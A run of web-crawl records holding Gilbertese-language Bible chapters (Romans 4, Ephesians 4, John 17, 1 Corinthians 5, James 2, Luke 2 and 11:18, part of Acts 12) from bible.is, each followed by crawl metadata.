iai b'a te tia abaaba i aonnaba, tiaki n te Tua, ma i bukini kaetan arona n reitaki ma te Atua are e reke n te onimaki. 14B'a ngkana taan abaaba te koraki ake a ongeaba nakon te Tua, ao ngkanne akea manen te onimaki, ao akea naba bongan ana taeka n akoi te Atua. 15B'a irian te tua bon te reke ni kai; ma ike akea te tua iai, ao akea naba riaoana iai. 16Ma ngaia ae iai te taeka n akoi i bukin te onimaki, b'a e na kaotaki aron te taeka n akoi aei b'a bon ana b'ai n tituaraoi te Atua, ao e na teimatoa arona i bukiia ana kariki Aberaam ni kabaneia; tiaki ti nakoia ake a ongeaba nakon te tua, ma nakoia naba ake a onimaki n ai aron Aberaam: 17n ai aron are koreaki ni kaangai: \"I karaoiko b'a tamaia botannaomata\" aika bati. Ma ngaia ae e raoiroi te taeka n akoi i bukin aron te Atua, are e onimakinna Aberaam are te Atua are kamaiuia maate, ao are iai i rouna te kona ni kariki b'aai ngke bon akea. 18E teimatoa n onimaki Aberaam e ngae ngke akea bukin ana kaantaninga, b'a e na riki b'a tamaia botannaomata aika bati, n ai aron are atongaki ni kaangai: \"Ai aron naba m'aitiia am kariki taian itoi.\" 19Ao e aki kerikaaki ana onimaki ngke e iangoa rab'atana b'a kaanga e mamara ngke tao tebubua ana ririki; ao ngke e iangoa naba aron Tara n aki kona ni kariki. 20Akea te aro ae e na rawa iai Aberaam ni kakoaua te taeka n akoi; ma e riki ni korakora n ana onimaki, ao e neboa te Atua, 21ma nanona ae koaua raoi b'a E na boni kakoroa bukin ana taeka n akoi te Atua. 22Ao anne bukin are e atongaki iai Aberaam, n ana onimaki, \"b'a e reke i rouna iai kaetan arona n reitaki ma te Atua.\" 23Ma te taeka ae kaangai, \"E reke i rouna kaetan arona n reitaki ma te Atua,\" e aki koreaki i bukin Aberaam n ti ngaia, 24ma i bukira naba. E na atongaki nako ira ngaira aika ti onimakina Teuare kamaiua Iesu mai buakoia maate, 25are E anga te Atua b'a E na tiringaki i bukin ara bure; ao E a manga kamaiua i bukira, b'a a aonga ni kaetaki arora n reitaki ma te Atua.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/4","date":"2016-06-28T21:29:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783397111.67\/warc\/CC-MAIN-20160624154957-00200-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":800,"character_repetition_ratio":0.121,"word_repetition_ratio":0.042,"special_characters_ratio":0.245,"stopwords_ratio":0.436,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia ae I butingkami, ngai ae I kabureaki i bukin te UEA, b'a kam na karaoi baika boraoi ma nanon te weteaki are kam weteaki nako iai: 2kam na b'aina te nanorinano ni kabanea ma te nimamannei, ma te taotaonaki n nano, n i tob'atob'ai aromi ma te nano n tangira; 3ao kam na kakorakoraingkami ni kawakina te aro ni katiteuanaki are mairoun te Tamnei 4Ti teuana te rab'ata, ao ti temanna te Tamnei 5Ti temanna te UEA, ao ti teuana te onimaki, ao ti teuana te b'abetito; 6ti temanna te Atua are Tamaia aomata ni kabaneia, are E uea i aoia ni kabaneia, ma ni m'am'akuri ri nanoia, ao E maeka i nanoia ni kabaneia. 7Ma ti anganaki n tatabemaniira nako te b'ai n akoi, n ai aroni baireana are nako man aron nanoni Kristo n tituaraoi. 8N aron are e kaangai n te B'aib'ara, \"Ngke E rierake nakon te tabo ae rietaata, ao E kairiia aomata aika bati aika taenikai; ao E anganiia aomata b'aai n tituaraoi.\" 9Ao tera nanon ae E rierake? Iai nanona ti ngkana E a tia n ruo moa nakon taabo i nano i aan te aba. 10Ma ngaia are, Teuare ruo boni Ngaia naba ae rierake nakon are moan te rietaata are i etani karawa, b'a E aonga n roti taabo nako. 11Boni Ngaia ae E anga tem'angina b'a taan tuatua; ao tem'angina, b'a bureitiman, ao tem'angina, b'a taan taekina te euangkerio; ao tem'angina, b'a taani kawakina te ekaretia ao taan reirei. 12E karaoa aei i bukini kabobongaia ake a itiaki nakoni karaoan nakoaia, are kateimatoan rab'atani Kristo; 13ao n tokina b'a ti na bane n roko n te onimaki ae ti teuana ao n ataakin Natin te Atua; ti na riki b'a kanga te aomata ae a ikawai, n ai aroni Kristo; ao ti na riki n ai arona ni koaua: 14b'a ti aonga n toki man arora n ataei, n uouotaki nako i aon naao ma ni katiotioaki n aki akaaka n taian ang aika reirei nako mairouia aomata aika taani m'am'anaa te aba, aika kairiia aomata nakon te kairua n aia m'akuri ni wanawana aika bureburea te aba. 15Ma ti na rikirake n aaro nako nakon arora n reitaki ae nako raoi ma Kristo, are atun te ekaretia; ao e na reke aei n tataekinan te koaua ao ni maiuakinan te tangira. 16Ao boni mai Rouna are a bane iai b'ain nako te rab'ata n nim raoi, ma n tauaki b'a te rab'ata ae b'anin n taian toma n ri n ai aroni baireaia. Ma ngaia ae ngkana a bane b'ain nako te rab'ata ni karaoi aia m'akuri n tatabeua nako n ai aroni baireaia, ao e na rikirake te rab'ata ma ni kateimatoaki n te tangira. 17Ma ngaia ae aei au taeka, ae I kamatoa nakoimi n reitaki ma nanon te UEA, b'a kam na tai manga katotongiia aomata aika tiaki I-Iutaia n aroni maiumi, ngkai a maiu ma aia iango aika akea bonganaia; 18a roo nanoia, ao a riki n ianena man te maiu are mairoun te Atua i bukin te babanga are i rouia, are reke i bukini matoatoan nanoia. 19E a tia ni bua mai rouia namakinan te mamaa, ao a anga ngaiia nakon te maiu n tam'are b'a a na karaoa te aro ni kammaira ni kabane ma nanoia ae korakora nako iai. 20Ma tiaki anne are kam reireiaki iai man aroni Kristo. 21Kam a bon tia n ongo taekana; ao ngkai kam reitaki ma Ngaia, ao kam a reireiaki te koaua are iroun Iesu. 22Kam na kaaki te aomata nikawai are aromi ni maiu ngkoa, are riki ni buakaka i bukin iran taian nano n kaib'ab'aru aika a m'am'anaa te aba. 23Kam na oneaki iroun te Tamnei n ami iango, 24ao kam na riki b'a te aomata ae boou, are karaoaki b'a katotongan te Atua, ao ni b'aina te maiu ae itiaki ni koaua. 25Ma ngaia ae kam na kaaki te kewekewe, ao kam na atoatonga te koaua n tatabemaningkami nako nakoia raomi n onimaki, ngkai b'ain rab'atani Kristo ngaira n tatabemaniira nako. 26Kam kona n un iroun temanna, ma a na aki riki unimi b'a kairami nakon te bure; e na aki bungi taai i aon unimi. 27ao tai angan te riaboro ana tai. 28Ke e tai manga iraa te tia iraa; ma e na m'akuri, ni karaoa te bae raoiroi ni baina, b'a e aonga ni kona ni buokanib'ai n are e karekea ma ane e kai nanona. 29E na tai oti nako te taeka teuana ae kam'ara mai wiimi, ma e na oti nako te taeka ae e raoiroi ae na buokiia aomata ni kain nanoia, ao a na reke kab'aiaia iai akana ongo. 30Tai karawaawata te Tamnei are Raoiroi, are Tamnein te Atua, are Ngaia are karika te aki nanokokoraki iroumi, b'a n te tai teuana ao kam na kainaomataaki man te bure. 31Kam na kaaki aromi ni maraki n nano, ma n unun, ma n riribai, ma n tatakarua ni b'ana n un, ma n taetae n iowawa, ma aromi ni kabane aika buakaka. 32Ao kam na b'aina te i akoakoi, ma te nanoanga, ma te i kab'arabure, n ai aron te Atua ngkae E a tia ni kab'ara ami bure irouni Kristo.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Eph\/4","date":"2016-06-28T17:43:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783396949.33\/warc\/CC-MAIN-20160624154956-00033-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":876,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.433,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke E tia Iesu n atongi baikai, ao E tara rake nako karawa, ao E taku, \"Tamau, e a roko te aoa; kaota mimitongin te Nati, b'a E aonga ni kaota mimitongim te Nati. 2B'a Ko a tia n anganna te m'aaka i aoia aomata ni kabaneia, b'a E na anga te maiu are aki toki nakoia ni kabane ake Ko anganna. 3Ao aio aron reken te maiu are aki toki: bon te ataiko b'a ti Ngkoe ae te Atua ni koaua, ao te ata Iesu Kristo, ae Ko kanakomaia. 4I a tia n neboiko i aon te aba, ni katiaan te m'akuri are Ko anganai b'a N na karaoia; 5ao ngkai, Tamau, Ko na kamimitongai ike Ko mena iai, n te mimitong are mimitongiu ma Ngkoe, ngke e tuai ni karikaki aonnaba. 6\"I a tia ni kaota aram nakoia aomata aika Ko anganai mai buakon te aba; bon am b'ai ngaiia, ao Ko anganai, ao a ongeaba nakon am taeka. 7A ataia ngkai b'a b'aai ni kabane aika Ko a tia n anganai, boni mai Roum; 8b'a I a tia n tuangiia taeka ni kabane ake Ko tuangai, ao a kaaki i nanoia, ao a ataia b'a ngaia e koaua ae I nako mai mai Roum; ao a kakoaua ae Ko kanakomaiai. 9\"I tataro i bukiia; I aki tataro i bukin te aba, ma I tataro i bukiia aika Ko anganai, b'a am b'ai ngaiia. 10Am b'ai au b'ai ni bane, ao au b'ai am b'ai; ao I neboaki i rouia. 11Ao ngkai, N nangi nakoim; N nang aki tiku ni maan i aon te aba, ma a na tiku ngaiia i aon te aba. Tamau ae Ko Raoiroi, kawakinia ni m'akan aram, ae te ara are Ko anganai, b'a a aonga n riki n teuana, n ai arora. 12Ngke I mena i rarikiia, ao I kawakinia ni m'akan aram, ae te ara are Ko anganai. I tantani i rarikiia, ao akea temanna i buakoia ae bua, ma ti natin te mate, b'a e na kakoauaki taekan te B'aib'ara. 13Ma N nangi nakoim ngkai, ao I atongi baikai i aon te aba b'a e aonga n reke i rouia koro raoini kukureiu i nanoia. 14I a tia n taekin am taeka nakoia, ao e ribaia te aba, b'a tiaki ana b'ai te aba ngaiia; n ai arou ngkai tiaki ana b'ai te aba Ngai. 15I aki tataro b'a Ko na uotiia nako mai aon te aba, ma I tataro b'a Ko na kawakinia mairoun teuare buakaka. 16Tiaki ana b'ai te aba ngaiia, n ai arou ngkai tiaki ana b'ai te aba Ngai. 17Ko na tabuia n am taeka aika koaua; te koaua am taeka. 18B'a arom ngke Ko kanakomaiai nako aon te aba, ao ai arou naba, I a manga kanakoia nako aon te aba. 19Ao I tabuai i bukiia, b'a a aonga n tabuaki n am taeka aika koaua. 20I aki tataro i bukiia ti aikai, ma I tataro naba i bukiia ake a onimakinai n aia taeka, 21b'a a na bane n riki n teuana; n ai arora, ngkai Ko mena i nanou, Tamau, ao Ngai i nanom: b'a a na mena naba i nanora, b'a e aonga ni kakoaua te aba b'a Ko kanakomaiai. 22I angania te neboaki are Ko anganai, b'a a aonga n riki n teuana, n ai arora ngkai teuana Ngaira; 23Ngai i nanoia, ao Ngkoe i nanou, b'a a aonga ni katiteuanaki raoi, ao e na ataia te aba b'a Ko kanakomaiai ao Ko tangiriia, n ai arom ngkai Ko tangirai. 24\"Tamau, I tangiriia ake Ko anganai b'a a na mena irou ike I mena iai, b'a a na nora neboakiu are Ko anganai ngke Ko tangirai i m'ain rikin aonnaba. 25Tamau, ae am b'ai te eti, e aki ataiko te aba, ma I ataiko; ao a ataai uaakai ae Ko kanakomaiai. 26I a tia ni kaota aram nakoia, ao N na bon aki toki ni kaotiotia nakoia, b'a a aonga n tangiria aomata n ai aron am tangira nako iu, ao b'a I aonga n nim ma ngaiia.\"\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/John\/17","date":"2016-06-25T23:32:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783393997.50\/warc\/CC-MAIN-20160624154953-00057-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":678,"character_repetition_ratio":0.077,"word_repetition_ratio":0.036,"special_characters_ratio":0.272,"stopwords_ratio":0.386,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1A taku aomata b'a bon iai te wene ni bure i buakomi, ae te aeka ni wene ni bure ae akea n ai arona i buakoia aomata aika tiaki I-Iutaia b'a e buuna buun tamana te aomata. 2Ao kam kainikatonga! Tiaki b'a kam bon riai n nanokawaki? Ao te aomata are karaoa te aro aei e bon riai ni kam'awaki mai buakomi. 3Ao I boni ngae n raroa nako mai roumi n rab'atau, ma I boni mena i roumi n tamneiu; ao ngke kanga I mena i roumi, ao I a kaman tia, n aran ara UEA are Iesu Kristo, ni motika taekan te aomata are karaoa te aro ni kammaira anne. 4Ngkana kam botaki, ao raomi tamneiu ma m'aakan ara UEA are Iesu; 5ao kam na anga teuanne nakon Tatan i bukin uruakan rab'atana, b'a e aonga ni maiu tamneina n ana bong te UEA. 6E aki raoiroi b'a kam na kamoamoa. Kam aki ata te iti ae ti teutana b'a e kona ni karikirakea te buraawa are na karikaki? 7Kam na kaki te iti nikawai, b'a kam aonga n riki n ai aron te kariki ni buraawa ae boou are akea te iti iai: b'a bon anne aromi. B'a b'ain te Toa are te Riao bon te karea ae te tiibuteteei are Iesu Kristo, are E a tia ni kamateaki. 8Ma ngaia ae ti na botaki ni kukurei n te Toa are te Riao, ma ti na aki kabongana te kariki are iai te iti nikawai iai, are te bure ma te buakaka; ma ti na kabongana te kariki are akea te iti iai, are karikin te itiaki ma te koaua. 9N au reta are I a tia ni koroia nako imi, ao I tuangngkami b'a kam na aki raoniia taani wene ni bure. 10I aki nanoniia ikai aomatan te aonnaba aei aika taani wene ni bure, ma taani mataai ni kanib'aib'ai, ma taani babakanikawai, ma taan taromauri bouannanti; b'a ngkana ngaia aei ae I nanonna, ao nanona ngkanne b'a kam na kitana te aonnaba. 11Ma are I nanonna n au koroboki, b'a kam na aki raona te aomata ae atongaki b'a te tia onimaki, ao ngaia bon te tia wene ni bure, ke e mataai ni kanib'aib'ai, ke te tia taromauri bouannanti, ke te tia taetae n iowawa, ke te tia mamanging, ke te tia babakanikawai; kam na tai am'arake naba ma ngaia. 12B'a tera au b'ai ni bairei taekaia aomata aika tiaki kaain te ekaretia? Tiaki b'a ti kaain te ekaretia aika kam na bairei taekaia? 13Ma te Atua E na motiki taekaia akana tiaki kaain te ekaretia. Kam na kam'awa te aomata ae buakaka mai buakomi.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/5","date":"2016-07-02T05:53:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783408828.55\/warc\/CC-MAIN-20160624155008-00142-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":442,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.41,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Tariu, kam na tai b'aina te nanonano nakoia aomata ngkai taan onimakina te Uea are Iesu Kristo ngkami, are te Uea are ana b'ai te neboaki. 2B'a ngkana e rin n ami botaki te aomata ae burenibainna n te burenibai ae te koora, ao e kunnikainna n te kunnikai ae tamaroa, ao ngkana e rin naba te aomata ae aki kaub'ai ma kunnikaina ae buakaka. 3Ao ngkana kam taratara teuare kunnikaia te kunnikai ae tamaroa ao kam kaota karineana ni kaangai, \"Ko na tekateka ikai n te tabo ae e raoiroi,\" ao nakon teuare aki kaub'ai, kam kaangai, \"Ko na tei ikekei! ke, Ko na tekateka ikai i rarikini waeu,\" 4Tiaki kam karika te raure iroumi iai, ao kam n riki b'a taani babaire aika kam babaire ma te nanonano ae buakaka. 5Tariu aika kam tangiraki, kam na ongora: tiaki E rineia akana aki kaub'ai ni b'ain aon te aba te Atua b'a a na kau-onimaki, ao a na riki b'a taan abaaba n ueana are E atongnga n te taeka n akoi nakoia ake a tangiria? 6Ma ngkami, kam kamangora te aomata ane aki kaub'ai. Tiaki a babakanikawai nakoimi akana kaub'ai ao tiaki ngaiia aika katikingkami nako matan taiani kabowi? 7Tiaki ngaiia ake a taetaebuaka te ara are raoiroi are kam a tia n anganaki? 8Ma kam karaoa ae e raoiroi ngkana kam toua mwin te tua are mairoun te Uea, are e koreaki ni kaangai, \"Ko na tangira raom n ai aron tangiram i bon i roum.\" 9Ma ngkana kam karineia aomata i bukin aromi n nanonano, ao kam bure iai; ao ni kaeti ma taekan te Tua, kam a kabuakakaki iai b'a taan ri aona ngkami. 10B'a ane toua mwin te Tua ni kabanea ma e reke burena n teuana, ao e a bukinaki naba iai b'a e aki ira nanon te Tua ni kabane. 11B'a Teuare kaangai, \"Ko na tai wene ni bure,\" ao boni Ngaia naba ae kaangai, \"Ko na tai kamateia aomata.\" Ngkana ko aki wene ni bure, ma ko kamatea te aomata, ao ko riki iai b'a te tia ri aon te Tua. 12Kam na taetae ao kam na karaoi aromi n ai aroia aomata aika nangi motikaki taekaia n tuan te inaomata. 13B'a ane aki nanoangaea te aba, ao e na motikaki taekana n aki nanoangaki; ma e totokanikai te nanoanga n te motiki-taeka. 14Tariu, tera manena ngkana e taku temanna b'a iai ana onimaki ao akea kakoauaana n ana m'akuri? E kona te aeka n onimaki anne ni kamaiua? 15Ngkana akea ana kunnikai tarimi temanna ke m'anemi temanna, ao ngkana akea kanaia n te bong ae koraki, 16ao e kaangai nakoia temanna iroumi, \"Kam na nako ma te rau, kam na kunnikaingkami raoi b'a kam aonga n aki mariri, ao kam na nuai;\" ao ngkana kam aki anganiia baika a tau nakon rab'ataia, ao tera manenan ami taeka? 17Ao ai aron naba te onimaki: e mate ngkana ti ngaia ao akea ana m'akuri. 18Ma ane e na kaangai temanna, Iai am onimaki, ao ngai iai au m'akuri, \"Ko na kaota am onimaki nako iu ae e aki noraki koauana n am m'akuri.\" Ao ngai au kaeka e kaangai, \"Ko na kaota am onimaki nako iu, ngkai akea am m'akuri, ao ngai I a kaota au onimaki nako im n au m'akuri.\" 19Ko taku b'a ti temanna te Atua; e eti am taeka anne. A boni kakoaua naba te taeka anne taian taimonio, ao a ruru ni maku. 20Te aomata ae ko baba! Ko tangira ae na kaotaki nako im b'a te onimaki are akea ana m'akuri e aki manena? 21Tiaki e reke reitakin Aberaam are ara bakatibu ma te Atua n ana m'akuri, ngke e anga Itaaka are natina b'a te karea i aon te baonikarea? 22Ko noria ngkanne b'a te onimaki e m'am'akuri n ana m'akuri Aberaam, ao e kakoroaki raoi ana onimaki n ana m'akuri. 23Ao e kakoauaki taekan te B'aib'ara are kaangai, \"Ao e onimakina te Atua Aberaam, ao e atongaki aei b'a ngaia ae e reke iai reitakina ma te Atua.\" Ao e aranaki b'a raoraon te Atua. 24Kam noria ngkanne, b'a e reke reitakin te aomata ma te Atua tiaki ti n te onimaki n ti ngaia, ma n ana onimaki ni botaki ma ana m'akuri. 25Ao tiaki b'a ai aron naba Nei Raba are te kabekaau? E reke reitakina ma te Atua n ana m'akuri, ngke e akoia taan tutuo akekei, ao e kanakoia n te kawai teaina. 26B'a aron te rab'ata b'a e mate ngkana akea te tamnei, ao ai aron naba te onimaki b'a e mate ngkana akea te m'akuri.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Jas\/2","date":"2016-07-02T06:17:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783408828.55\/warc\/CC-MAIN-20160624155008-00144-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":768,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.383,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 11:1818Ao ngkana e a manga bon eekiianako Tatan i bon i rouna, ao e na kanga n tei ueana? I taekina aei i bukin ae kam taku b'a I kanakoia taimonio irouni Beretebub'a. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/11\/18","date":"2016-06-28T23:14:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783397213.30\/warc\/CC-MAIN-20160624154957-00049-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":0.9990537763,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9990537762641907}","num_words":49,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.265,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ni boong akekei, ao e nako te kaetieti mairoun te uea ae kakannato are Kaitaraa Aukitito b'a e na karaoaki te wareaomata i aon aban nako te tautaeka n Room. 2Aei te moa ni wareaomata n ana tai n tautaeka Kurenio i Turia. 3Ao a bane n nako aomata nakon oin aia kaawa nako b'a a na koreaki araia iai. 4E nako naba Ioteb'a mai Kariraia, man te kawa are Natareta, nako Iutaia nakon ana kawa Tawita are arana Betereem, b'a ngaia kaain ana utu Tawita. 5E nako ma Nei Maria are ana kabae are e bikoukou b'a a na koroi araia. 6Ao ngke a mena i Betereem, ao e roko ana tai ni bung Nei Maria. 7E bungiia ana moa n nati te mm'aane ao e niria n te kunnikai ae te ninira, ao e kawenea ni nneni kanaia maan n am'arake b'a akea aia ruu n te auti n iruwa. 8Iai taani kawakin tiibu n te aba arei ake a mena i tinanikun te kawa. A tantani i rarikiia aia tiibu e bong. 9E kaoti ana anera te Uea nako ia, ao e oota nako mimitongin te Atua ni katobibiia, ao a taonaki n te maaku. 10Ao e taku te anera nako ia, \"Tai maaku; b'a noria, iai irou te rongorongo ae raoiroi are e na karika te kim'areirei irouia aomata ni kabaneia; 11b'a e a bungiaki nako imi n te bong aei n ana kawa Tawita, te tia Kamaiu are te Kristo are te Uea. 12Ao aio te kanikina nako imi: ane kam na nora te merimeri ae niraki n te kunnikai ae te ninira, ae e wene i nanoni nneni kanaia maan n am'arake.\" 13Ao a karina naba ni kaoti i rarikin te anera kaaini karawa aika rangi ni m'aiti. A kamoamoa te Atua, ao a kangai, 14\"E na neboaki te Atua ike moan te rietaata! Ao e na mena te rau i aon te aba irouia aomata ake E kukurei i rouia te Atua.\" 15Ngke a nako anera mai rouia nako karawa, ao a i taetae i rouia taani kawakin tiibu ni kangai, \"Ti na nako Betereem b'a ti na nora te baere riki, are E taekinna nako ira te Uea.\" 16Ao a kawaekoaia ngke a nako, ao a kunea Nei Maria ma Ioteb'a, ao te merimeri b'a e wene ni nneni kanaia maan n am'arake. 17Ngke a nora te teei ao a kaongoia aomata nako rongorongon te teei aei n ai aron are a tia n tuangaki; 18ao ake a ongo, a mimi n te baere a taekinna taani kawakin tiibu nako ia. 19Ma Nei Maria, e kawakin taekani baikai ni kabane i nanona, ao e aki toki n iaiangoi. 20Ao a oki taani kawakin tiibu. A kamoamoa te Atua ao a neboia i bukini baike a tia n ongo ma n nori, n ai aron taekaia ake a tia n tuangaki. 21Ngke e a koro wanua te bong, ngke e a roko ana tai te teei ni kaitiakaki, ao e a aranaki b'a Iesu, are te ara are e anga te anera i m'ain rikin Iesu i nanon te biroto. 22Ngke e a roko te tai are a riai iai Ioteb'a ma Nei Maria ni karaoa te anga karea i bukini kaitiakaia n ai aron taekana n ana tua Moote, ao a uota Iesu nako Ierutarem b'a a na kaotia i matan te Atua. 23n ai aron are koreaki n ana tua te Uea are e kangai, \"B'a naati mm'aane ake moa n nati a na atongaki b'a ana b'ai te Uea.\" 24Ao b'a a na anga te karea n ai aron taekana n ana tua te Uea, are e kangai: Uoman te taobe ke uoman te bitin aika ataei. 25N te tai anne ao iai te aomata temanna i Ierutarem ae arana Timeon. Teuaei e b'aina te maiu ae raoiroi i matan te Atua ao e kakaonimaki; e kaantaninga te tai are na buokaki iai Iteraera man rawawatana, ao e mena i rouna te Tamnei are Raoiroi. 26Ao E a tia te Tamnei are Raoiroi ni kaotia nako ina b'a e na aki mate i m'ain ae e tia n nora ana Kristo te Uea. 27Ngke e kairaki ana iango Timeon iroun te Tamnei are Raoiroi, ao e nako n te um'antabu; ao ngke a rin ana karo te teei are Iesu b'a a na karaoa i bukina kanoan te tua n ai aron are e tataneiai te aba iai, 28ao e anaa te teei Timeon ni b'ab'akoia, ao e katituaraoa te Atua ni kangai, 29\"Te Uea, kariaia ngkai b'a e na nako am toro ma te rau, b'a ko a tia ni kawakina am berita n ai aron am taeka; 30B'a a tia matau n nora am kamaiu nako ia aomata, 31Ae Ko katauraoia b'a a na noria aomata nako. 32Ae te oota are na kaota nanom nakoia botannaomata ake Tientaire ao e na uota karineaia am aomata ake Iteraera.\" 33Ao a mimi tamana ma tinana ni baike a taekinaki i bukina; 34ao e taetae Timeon ni kakab'aiaia ao e taku nakon Nei Maria are tinana, \"Noria, e na riki te teei aei b'a b'aini kamaunaia ao kamaiuaia aika bati i buakoia Iteraera, ao te kanikina are a na taetae n ekianako aomata aika bati. 35ao ngkoe ane ko na rotaki naba n te rawawata, b'a a bane ni kaotaki aia iango aika raba.\" 36Ao iai te burabeti ae Nei Anna, are natini B'anuera ae kaain te baronga are Atera; e a kara, ao e a tia n tekateka ma buuna i nanon itiua te ririki ma ngke a moa n iein. 37E a tia ni mate buuna, ao ai wanibwi ma aua ana ririki ni maiu. 38E nako neiei n tei i rarikin Ioteb'a ma Nei Maria n te aua naba arei, ao e katituaraoa te Atua, ao e tataekina aron te teei nakoia aomata ni kabaneia ake a kantaninga kamaiuaia Iteraera. 39Ngke a tia ni karaoi b'aai ni kabane ake a kaeti ma taekan ana tua te Uea, ao a oki nako Kariraia, nakon aia kawa are Natareta. 40Ao E rikirake te teei n ikawai ao ni marurung rab'atana; E on n te wanawana, ao E memena i aona ana kakab'aia te Atua. 41Ni katoa ririki ao a aki toki ana karo n naanako Ierutarem ni kaea te Toa are te Riao. 42Ao ngke tebwi ma uoua ana ririki Iesu, ao a nako Ierutarem ni kaea te Toa n ai aron are a tataneiai iai; 43ao ngke e a bane bongin te Toa, ngke a oki, ao E tiku te teei are Iesu i mwiia i Ierutarem, ao a aki ataia ana karo. 44A taku b'a E mena i buakoia raoia ni m'ananga, ma ngaia are a nakonako teuana aia bong ni kakaaea i buakoia aia utu ma raoia nako; 45ao ngke a aki noria, ao a manga okira Ierutarem ni kakaaea iai. 46Ao i mwin tenibong ao a noria n te um'antabu b'a E tekateka i buakoia taan reirei. 47E ongora i rouia, ao E titirakiniia; ao ake a ongo i Rouna a mimi n rabakauna ma ana kaeka titiraki. 48Ngke a noria ana karo, ao a mimi. E taku tinana nako Ina, \"Natiu, e aera ngkai Ko karaoa aei nako ira? Noria, I a bora ma tamam ni kakaaeko.\" 49Ao Ngaia E kangai nako ia, \"E aera b'a kam na kakaaeai? Kam aki ataia ae I riai ni mena n ana auti Tamau?\" 50Ma a aki ata nanon te baere E taekinna nako ia. 51Ao E airi ma ngaiia ao a roko i Natareta, ao E ongeaba nako ia; e tau mwini baikai ni kabane tinana i nanona. 52E rikirake rab'atan Iesu ma rabakauna, ao ai arona naba ma taatangirana iroun te Atua ao irouia aomata.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/2","date":"2016-06-25T13:01:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783393146.70\/warc\/CC-MAIN-20160624154953-00153-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1290,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.256,"stopwords_ratio":0.44,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao ni boong naba akekei, ao e b'ainikiriniia kaain te ekaretia tabem'aang Erote are te uea. 2E kamateaki n te kabaang Iakobo are tarin Ioane n ana baire Erote. 3Ngke e nooriia I-Iutaia Erote b'a a kim'areirei iai, ao e a manga tauaki Betero i aan naba ana baire. A riki baikai ni bongin te Toa are te Kariki are aki Karikaki. 4Ngke e a tia n tauaki Betero, ao e karinaki i nanon te karabuuti, ao a anganaki tautia aika akoraki aika kaka aman aomataia nako, b'a a na kawakinna. E kaantaningaia Erote b'a e na bairea taekani Betero i mataia aomata i mwin te Toa are te Riao. 5Ma ngaia are, e kawakinaki Betero i nanon te karabuuti; ao a kakorakoraia kaain te ekaretia n tataro nakon te Atua i bukina. 6N te bong are e nang kaotinakoaki iai Betero iroun Erote, ao e matu Betero n tairikin te bong are i m'aina i marenaia uoman tautia, ni kabaeaki n uaai te taurekereke; ao iai tautia ake a tantani i rarikini mataroan te kawai n rin nakon te karabuuti. 7Ao akea b'a e roko ana anera te Atua, ao e oota te oota i nanon te karabuuti; ao e orea rarikini Betero te anera ni kautia, 